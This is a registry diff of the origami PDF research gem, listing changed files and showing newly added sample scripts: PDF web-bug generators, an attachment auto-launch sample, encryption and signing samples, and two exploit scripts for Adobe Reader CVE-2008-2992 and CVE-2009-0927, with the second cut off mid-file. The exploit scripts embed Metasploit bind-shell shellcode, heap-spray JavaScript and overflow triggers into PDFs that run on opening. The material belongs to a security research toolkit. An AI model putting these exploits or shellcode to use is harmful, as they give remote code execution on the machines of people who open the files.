origami 1.2.1 → 1.2.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README +1 -1
- data/bin/gui/hexview.rb +1 -1
- data/bin/gui/menu.rb +4 -4
- data/bin/gui/textview.rb +6 -4
- data/bin/gui/treeview.rb +4 -4
- data/bin/gui/walker.rb +1 -1
- data/bin/pdf2graph +1 -1
- data/bin/pdf2pdfa +1 -1
- data/bin/pdf2ruby +1 -1
- data/bin/pdfcocoon +1 -1
- data/bin/pdfcop +1 -1
- data/bin/pdfdecompress +1 -1
- data/bin/pdfdecrypt +1 -1
- data/bin/pdfencrypt +1 -1
- data/bin/pdfextract +75 -14
- data/bin/pdfmetadata +1 -1
- data/bin/shell/.irbrc +1 -1
- data/{origami.rb → lib/origami.rb} +3 -3
- data/{origami → lib/origami}/3d.rb +0 -0
- data/{origami → lib/origami}/acroform.rb +2 -2
- data/{origami → lib/origami}/actions.rb +0 -0
- data/{origami → lib/origami}/annotations.rb +0 -0
- data/{origami → lib/origami}/array.rb +0 -0
- data/{origami → lib/origami}/boolean.rb +0 -0
- data/{origami → lib/origami}/catalog.rb +0 -0
- data/{origami → lib/origami}/destinations.rb +0 -0
- data/{origami → lib/origami}/dictionary.rb +0 -0
- data/{origami → lib/origami}/docmdp.rb +0 -0
- data/{origami → lib/origami}/encryption.rb +9 -7
- data/{origami → lib/origami}/export.rb +0 -0
- data/lib/origami/extensions/fdf.rb +257 -0
- data/{origami/adobe → lib/origami/extensions}/ppklite.rb +3 -1
- data/{origami → lib/origami}/file.rb +0 -0
- data/{origami → lib/origami}/filters.rb +0 -0
- data/{origami → lib/origami}/filters/ascii.rb +0 -0
- data/{origami → lib/origami}/filters/ccitt.rb +0 -1
- data/{origami → lib/origami}/filters/crypt.rb +0 -0
- data/{origami → lib/origami}/filters/dct.rb +0 -0
- data/{origami → lib/origami}/filters/flate.rb +0 -0
- data/{origami → lib/origami}/filters/jbig2.rb +0 -0
- data/{origami → lib/origami}/filters/jpx.rb +0 -0
- data/{origami → lib/origami}/filters/lzw.rb +0 -0
- data/{origami → lib/origami}/filters/predictors.rb +0 -0
- data/{origami → lib/origami}/filters/runlength.rb +0 -0
- data/{origami → lib/origami}/font.rb +0 -0
- data/{origami → lib/origami}/functions.rb +0 -0
- data/{origami → lib/origami}/graphics.rb +0 -0
- data/{origami → lib/origami}/graphics/colors.rb +45 -23
- data/{origami → lib/origami}/graphics/instruction.rb +0 -0
- data/{origami → lib/origami}/graphics/path.rb +0 -0
- data/{origami → lib/origami}/graphics/patterns.rb +0 -0
- data/{origami → lib/origami}/graphics/render.rb +0 -0
- data/{origami → lib/origami}/graphics/state.rb +2 -2
- data/{origami → lib/origami}/graphics/text.rb +0 -0
- data/{origami → lib/origami}/graphics/xobject.rb +219 -0
- data/{origami → lib/origami}/header.rb +0 -0
- data/{origami → lib/origami}/javascript.rb +0 -0
- data/{origami → lib/origami}/linearization.rb +0 -0
- data/{origami → lib/origami}/metadata.rb +0 -0
- data/{origami → lib/origami}/name.rb +0 -0
- data/{origami → lib/origami}/null.rb +0 -0
- data/{origami → lib/origami}/numeric.rb +0 -0
- data/{origami → lib/origami}/obfuscation.rb +0 -0
- data/{origami → lib/origami}/object.rb +7 -2
- data/{origami → lib/origami}/outline.rb +0 -0
- data/{origami → lib/origami}/outputintents.rb +0 -0
- data/{origami → lib/origami}/page.rb +0 -0
- data/{origami → lib/origami}/parser.rb +76 -51
- data/{origami → lib/origami}/parsers/fdf.rb +9 -6
- data/{origami/parsers/pdf/linear.rb → lib/origami/parsers/pdf.rb} +31 -39
- data/lib/origami/parsers/pdf/linear.rb +84 -0
- data/lib/origami/parsers/ppklite.rb +93 -0
- data/{origami → lib/origami}/pdf.rb +6 -3
- data/{origami → lib/origami}/reference.rb +0 -0
- data/{origami → lib/origami}/signature.rb +170 -19
- data/{origami → lib/origami}/stream.rb +9 -0
- data/{origami → lib/origami}/string.rb +0 -0
- data/{origami → lib/origami}/trailer.rb +0 -0
- data/{origami → lib/origami}/webcapture.rb +0 -0
- data/{origami → lib/origami}/xfa.rb +0 -0
- data/{origami → lib/origami}/xreftable.rb +3 -7
- data/samples/README.txt +45 -0
- data/samples/actions/launch/calc.rb +87 -0
- data/samples/actions/launch/winparams.rb +22 -0
- data/samples/actions/loop/loopgoto.rb +24 -0
- data/samples/actions/loop/loopnamed.rb +21 -0
- data/samples/actions/named/named.rb +31 -0
- data/samples/actions/samba/smbrelay.rb +26 -0
- data/samples/actions/triggerevents/trigger.rb +75 -0
- data/samples/actions/webbug/submitform.js +26 -0
- data/samples/actions/webbug/webbug-browser.rb +68 -0
- data/samples/actions/webbug/webbug-js.rb +67 -0
- data/samples/actions/webbug/webbug-reader.rb +90 -0
- data/samples/attachments/attach.rb +40 -0
- data/samples/attachments/attached.txt +1 -0
- data/samples/crypto/crypto.rb +28 -0
- data/samples/digsig/signed.rb +46 -0
- data/samples/exploits/cve-2008-2992-utilprintf.rb +87 -0
- data/samples/exploits/cve-2009-0927-geticon.rb +65 -0
- data/samples/exploits/exploit_customdictopen.rb +55 -0
- data/samples/exploits/getannots.rb +69 -0
- data/samples/flash/flash.rb +31 -0
- data/samples/flash/helloworld.swf +0 -0
- data/samples/javascript/attached.txt +1 -0
- data/samples/javascript/js.rb +52 -0
- data/{tests → test}/ts_pdf.rb +1 -1
- metadata +109 -95
- data/origami/adobe/fdf.rb +0 -259
- data/origami/parsers/pdf.rb +0 -27
- data/origami/parsers/ppklite.rb +0 -86
- data/tests/dataset/test.dummycrt +0 -28
- data/tests/dataset/test.dummykey +0 -27
- data/tests/tc_actions.rb +0 -32
- data/tests/tc_annotations.rb +0 -85
- data/tests/tc_pages.rb +0 -37
- data/tests/tc_pdfattach.rb +0 -24
- data/tests/tc_pdfencrypt.rb +0 -110
- data/tests/tc_pdfnew.rb +0 -32
- data/tests/tc_pdfparse.rb +0 -98
- data/tests/tc_pdfsig.rb +0 -37
- data/tests/tc_streams.rb +0 -129
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "webbug-js.pdf"
|
|
13
|
+
JSCRIPTFILE = "submitform.js"
|
|
14
|
+
|
|
15
|
+
puts "Now generating a new PDF file from scratch!"
|
|
16
|
+
|
|
17
|
+
contents = ContentStream.new.setFilter(:FlateDecode)
|
|
18
|
+
contents.write OUTPUTFILE,
|
|
19
|
+
:x => 300, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
20
|
+
|
|
21
|
+
contents.write "This PDF tries to connect through JavaScript calls :-D",
|
|
22
|
+
:x => 186, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
|
|
23
|
+
|
|
24
|
+
contents.write "The script first tries to run your browser, then it connects with the Reader.",
|
|
25
|
+
:x => 186, :y => 670, :size => 15
|
|
26
|
+
|
|
27
|
+
contents.write "Comments:",
|
|
28
|
+
:x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
|
|
29
|
+
|
|
30
|
+
content = <<-EOS
|
|
31
|
+
Windows:
|
|
32
|
+
- Acrobat Reader 8: Same behavior as with webbug-browser.pdf and webbug-reader.pdf.
|
|
33
|
+
- Foxit: Same behavior as with webbug-browser.pdf and webbug-reader.pdf, at the difference a popup appears
|
|
34
|
+
to ask for user confirmation before launching the browser. However the reader still connects to the site without
|
|
35
|
+
confirmation, as with webbug-reader.pdf
|
|
36
|
+
|
|
37
|
+
Mac:
|
|
38
|
+
|
|
39
|
+
Linux:
|
|
40
|
+
- Acrobat Reader 8: same behavior as Windows version.
|
|
41
|
+
- poppler-based viewers: not interpreting JavaScript : nothing happens.
|
|
42
|
+
|
|
43
|
+
EOS
|
|
44
|
+
|
|
45
|
+
contents.write content,
|
|
46
|
+
:x => 75, :y => 600, :rendering => Text::Rendering::FILL
|
|
47
|
+
|
|
48
|
+
# A JS script to execute at the opening of the document
|
|
49
|
+
jscript = File.open(JSCRIPTFILE).read
|
|
50
|
+
|
|
51
|
+
pdf = PDF.new
|
|
52
|
+
|
|
53
|
+
page = Page.new
|
|
54
|
+
page.Contents = contents
|
|
55
|
+
|
|
56
|
+
pdf.append_page(page)
|
|
57
|
+
|
|
58
|
+
# Create a new action based on the script, compressed with zlib
|
|
59
|
+
jsaction = Action::JavaScript.new( Stream.new(jscript,:Filter => :FlateDecode) )
|
|
60
|
+
|
|
61
|
+
# Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied).
|
|
62
|
+
pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction)
|
|
63
|
+
|
|
64
|
+
# Save the resulting file
|
|
65
|
+
pdf.save(OUTPUTFILE)
|
|
66
|
+
|
|
67
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "webbug-reader.pdf"
|
|
13
|
+
|
|
14
|
+
URL = "http://localhost/webbug-reader.php"
|
|
15
|
+
|
|
16
|
+
puts "Now generating a new bugged PDF file from scratch!"
|
|
17
|
+
|
|
18
|
+
pdf = PDF.new
|
|
19
|
+
|
|
20
|
+
contents = ContentStream.new
|
|
21
|
+
contents.write "webbug-reader.pdf",
|
|
22
|
+
:x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
23
|
+
|
|
24
|
+
contents.write "When opened, this PDF connects to \"home\"",
|
|
25
|
+
:x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15
|
|
26
|
+
|
|
27
|
+
contents.write "Click \"Allow\" to connect to #{URL} through your current Reader.",
|
|
28
|
+
:x => 156, :y => 670, :size => 12
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
contents.write "Comments:",
|
|
32
|
+
:x => 75, :y => 600, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
|
|
33
|
+
|
|
34
|
+
|
|
35
|
+
content = <<-EOS
|
|
36
|
+
1. Open this pdf document (webbug-reader.pdf)
|
|
37
|
+
2. The Reader connects to ${url}
|
|
38
|
+
3. The web server returns the requested page:
|
|
39
|
+
<?php
|
|
40
|
+
header('Content-type: application/pdf');
|
|
41
|
+
readfile('calc.pdf');
|
|
42
|
+
?>
|
|
43
|
+
4. The Reader receives \"calc.pdf\" which is immediatly rendered
|
|
44
|
+
5. A pop-up ask if it can execute the calc...
|
|
45
|
+
|
|
46
|
+
Note: The URL where the Reader tries to connect is displayed
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
Windows:
|
|
51
|
+
- Foxit : Nothing happens.
|
|
52
|
+
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
53
|
+
then the connection is made and a new window is opened with the 2nd document
|
|
54
|
+
|
|
55
|
+
Mac:
|
|
56
|
+
- Preview: nothing happens
|
|
57
|
+
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
58
|
+
then the connection is made and a new window is opened with the 2nd document
|
|
59
|
+
|
|
60
|
+
Linux:
|
|
61
|
+
- poppler: /SubmitForm is not supported
|
|
62
|
+
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
63
|
+
then the connection is made and a the document window is replaced with the 2nd document
|
|
64
|
+
Note: The 2 documents can be seen in the\"Window\" menu.
|
|
65
|
+
- Acrobat Reader 8: a popup appears for the user to allow the connection,
|
|
66
|
+
then the connection is made and a new window is opened with the 2nd document
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
EOS
|
|
70
|
+
|
|
71
|
+
contents.write content,
|
|
72
|
+
:x => 75, :y => 580, :rendering => Text::Rendering::FILL, :size => 12
|
|
73
|
+
|
|
74
|
+
page = Page.new.setContents( contents )
|
|
75
|
+
pdf.append_page( page )
|
|
76
|
+
|
|
77
|
+
# Submit flags.
|
|
78
|
+
flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD
|
|
79
|
+
|
|
80
|
+
# Sends the form at the document opening.
|
|
81
|
+
pdf.onDocumentOpen Action::SubmitForm.new(URL, [], flags)
|
|
82
|
+
|
|
83
|
+
# Comments:
|
|
84
|
+
# - any port can be specified http://url:1234
|
|
85
|
+
# - does not follow the Redirect answers
|
|
86
|
+
|
|
87
|
+
# Save the resulting file.
|
|
88
|
+
pdf.save(OUTPUTFILE)
|
|
89
|
+
|
|
90
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
INPUTFILE = "attached.txt"
|
|
13
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
14
|
+
|
|
15
|
+
puts "Now generating a new PDF file from scratch!"
|
|
16
|
+
|
|
17
|
+
# Creating a new file
|
|
18
|
+
pdf = PDF.new
|
|
19
|
+
|
|
20
|
+
# Embedding the file into the PDF.
|
|
21
|
+
pdf.attach_file(INPUTFILE,
|
|
22
|
+
:EmbeddedName => "README.txt",
|
|
23
|
+
:Filter => :ASCIIHexDecode
|
|
24
|
+
)
|
|
25
|
+
|
|
26
|
+
contents = ContentStream.new
|
|
27
|
+
contents.write "File attachment sample",
|
|
28
|
+
:x => 250, :y => 750, :rendering => Text::Rendering::FILL, :size => 30
|
|
29
|
+
|
|
30
|
+
pdf.append_page Page.new.setContents(contents)
|
|
31
|
+
|
|
32
|
+
js = <<JS
|
|
33
|
+
this.exportDataObject({cName:"README.txt", nLaunch:2});
|
|
34
|
+
JS
|
|
35
|
+
pdf.onDocumentOpen Action::JavaScript.new(js)
|
|
36
|
+
|
|
37
|
+
pdf.save(OUTPUTFILE)
|
|
38
|
+
|
|
39
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
|
40
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
***THIS IS THE EMBEDDED FILE***
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
13
|
+
|
|
14
|
+
puts "Now generating a new PDF file from scratch!"
|
|
15
|
+
|
|
16
|
+
# Creates an encrypted document with AES256 and a null password.
|
|
17
|
+
pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256)
|
|
18
|
+
|
|
19
|
+
contents = ContentStream.new
|
|
20
|
+
contents.write "Crypto sample",
|
|
21
|
+
:x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
22
|
+
|
|
23
|
+
pdf.append_page Page.new.setContents(contents)
|
|
24
|
+
|
|
25
|
+
pdf.save(OUTPUTFILE)
|
|
26
|
+
|
|
27
|
+
puts "PDF file saved as #{OUTPUTFILE}."
|
|
28
|
+
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
#!/usr/bin/ruby
|
|
2
|
+
|
|
3
|
+
require 'openssl'
|
|
4
|
+
|
|
5
|
+
begin
|
|
6
|
+
require 'origami'
|
|
7
|
+
rescue LoadError
|
|
8
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
9
|
+
$: << ORIGAMIDIR
|
|
10
|
+
require 'origami'
|
|
11
|
+
end
|
|
12
|
+
include Origami
|
|
13
|
+
|
|
14
|
+
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
|
|
15
|
+
CERTFILE = "test.crt"
|
|
16
|
+
RSAKEYFILE = "test.key"
|
|
17
|
+
|
|
18
|
+
contents = ContentStream.new.setFilter(:FlateDecode)
|
|
19
|
+
contents.write OUTPUTFILE,
|
|
20
|
+
:x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
|
|
21
|
+
|
|
22
|
+
pdf = PDF.new
|
|
23
|
+
page = Page.new.setContents(contents)
|
|
24
|
+
pdf.append_page(page)
|
|
25
|
+
|
|
26
|
+
# Open certificate files
|
|
27
|
+
cert = OpenSSL::X509::Certificate.new(File.open(CERTFILE).read)
|
|
28
|
+
key = OpenSSL::PKey::RSA.new(File.open(RSAKEYFILE).read)
|
|
29
|
+
|
|
30
|
+
sigannot = Annotation::Widget::Signature.new
|
|
31
|
+
sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0]
|
|
32
|
+
|
|
33
|
+
page.add_annot(sigannot)
|
|
34
|
+
|
|
35
|
+
# Sign the PDF with the specified keys
|
|
36
|
+
pdf.sign(cert, key,
|
|
37
|
+
:method => 'adbe.pkcs7.sha1',
|
|
38
|
+
:annotation => sigannot,
|
|
39
|
+
:location => "France",
|
|
40
|
+
:contact => "fred@security-labs.org",
|
|
41
|
+
:reason => "Proof of Concept"
|
|
42
|
+
)
|
|
43
|
+
|
|
44
|
+
# Save the resulting file
|
|
45
|
+
pdf.save(OUTPUTFILE)
|
|
46
|
+
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
pdf = PDF.read(ARGV[0])
|
|
13
|
+
|
|
14
|
+
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
|
|
15
|
+
win32_bin = "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73%u684f%u3956%u386f%u4350"
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
# linux/x86/shell_bind_tcp - 105 bytes
|
|
19
|
+
# http://www.metasploit.com
|
|
20
|
+
# Encoder: x86/shikata_ga_nai
|
|
21
|
+
# AppendExit=false, PrependSetresuid=false,
|
|
22
|
+
# PrependSetuid=false, LPORT=4444, RHOST=,
|
|
23
|
+
# PrependSetreuid=false
|
|
24
|
+
linux_bin = "%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd"
|
|
25
|
+
|
|
26
|
+
shellcode = linux_bin
|
|
27
|
+
|
|
28
|
+
jscript = %Q|
|
|
29
|
+
/*
|
|
30
|
+
From: http://www.milw0rm.com/exploits/7006
|
|
31
|
+
|
|
32
|
+
Adobe Reader Javascript Printf Buffer Overflow Exploit
|
|
33
|
+
===========================================================
|
|
34
|
+
Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow
|
|
35
|
+
CVE-2008-2992
|
|
36
|
+
|
|
37
|
+
Thanks to coresecurity for the technical background.
|
|
38
|
+
|
|
39
|
+
6Nov,2008: Exploit released by me
|
|
40
|
+
|
|
41
|
+
Credits: Debasis Mohanty
|
|
42
|
+
www.hackingspirits.com
|
|
43
|
+
www.coffeeandsecurity.com
|
|
44
|
+
===========================================================
|
|
45
|
+
|
|
46
|
+
//Exploit by Debasis Mohanty (aka nopsledge/Tr0y)
|
|
47
|
+
//www.coffeeandsecurity
|
|
48
|
+
//www.hackingspirits.com
|
|
49
|
+
*/
|
|
50
|
+
|
|
51
|
+
app.alert("Prepare the spray");
|
|
52
|
+
|
|
53
|
+
var shellcode = unescape("#{shellcode}");
|
|
54
|
+
|
|
55
|
+
//Heap Spray starts here - Kiddos dont mess up with this
|
|
56
|
+
var nop ="";
|
|
57
|
+
for (i = 128;i >= 0; --i) nop += unescape("%u9090%u9090%u9090%u9090%u9090");
|
|
58
|
+
heapblock = nop + shellcode;
|
|
59
|
+
|
|
60
|
+
bigblock = unescape("%u9090%u9090");
|
|
61
|
+
headersize = 20;
|
|
62
|
+
spray = headersize+heapblock.length
|
|
63
|
+
while (bigblock.length<spray) bigblock+=bigblock;
|
|
64
|
+
|
|
65
|
+
fillblock = bigblock.substring(0, spray);
|
|
66
|
+
block = bigblock.substring(0, bigblock.length-spray);
|
|
67
|
+
|
|
68
|
+
while(block.length+spray < 0x40000) block = block+block+fillblock;
|
|
69
|
+
|
|
70
|
+
mem = new Array();
|
|
71
|
+
for (i=0;i<1400;i++) mem[i] = block + heapblock;
|
|
72
|
+
|
|
73
|
+
app.alert("Pull the trigger");
|
|
74
|
+
|
|
75
|
+
// reference snippet from core security
|
|
76
|
+
// http://www.coresecurity.com/content/adobe-reader-buffer-overflow
|
|
77
|
+
|
|
78
|
+
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888
|
|
79
|
+
util.printf("%45000f",num);
|
|
80
|
+
// util.printf("%45000.45000f", 0);
|
|
81
|
+
|
|
82
|
+
|
|
|
83
|
+
|
|
84
|
+
exploit = Action::JavaScript.new(Stream.new(jscript))
|
|
85
|
+
pdf.onDocumentOpen( exploit )
|
|
86
|
+
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
87
|
+
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
#
|
|
4
|
+
# References:
|
|
5
|
+
# CVE 2009-0927
|
|
6
|
+
# http://www.securityfocus.com/bid/34169
|
|
7
|
+
# http://www.zerodayinitiative.com/advisories/ZDI-09-014/
|
|
8
|
+
#
|
|
9
|
+
#�Vulnerable: Adobe Reader and Adobe Acrobat Professional < 8.1.4
|
|
10
|
+
#
|
|
11
|
+
# This exploit / PoC spawns a calc on Windows.
|
|
12
|
+
#
|
|
13
|
+
#
|
|
14
|
+
|
|
15
|
+
begin
|
|
16
|
+
require 'origami'
|
|
17
|
+
rescue LoadError
|
|
18
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
19
|
+
$: << ORIGAMIDIR
|
|
20
|
+
require 'origami'
|
|
21
|
+
end
|
|
22
|
+
include Origami
|
|
23
|
+
|
|
24
|
+
pdf = PDF.read(ARGV[0])
|
|
25
|
+
|
|
26
|
+
jscript = %Q|
|
|
27
|
+
function spary() {
|
|
28
|
+
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98\
|
|
29
|
+
bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0\
|
|
30
|
+
ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8\
|
|
31
|
+
c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
|
|
32
|
+
|
|
33
|
+
//shellcode = unescape("%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd");
|
|
34
|
+
|
|
35
|
+
garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
36
|
+
90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
37
|
+
90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
38
|
+
90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\
|
|
39
|
+
90%u9090%u9090%u9090") + shellcode;
|
|
40
|
+
nopblock = unescape("%u9090%u9090");
|
|
41
|
+
headersize = 10;
|
|
42
|
+
acl = headersize+garbage.length;
|
|
43
|
+
while (nopblock.length<acl) nopblock+=nopblock;
|
|
44
|
+
fillblock = nopblock.substring(0, acl);
|
|
45
|
+
block = nopblock.substring(0, nopblock.length-acl);
|
|
46
|
+
while(block.length+acl<0x40000) block = block+block+fillblock;
|
|
47
|
+
memory = new Array();
|
|
48
|
+
for (i=0;i<180;i++) memory[i] = block + garbage;
|
|
49
|
+
var buffersize = 4012;
|
|
50
|
+
var buffer = Array(buffersize);
|
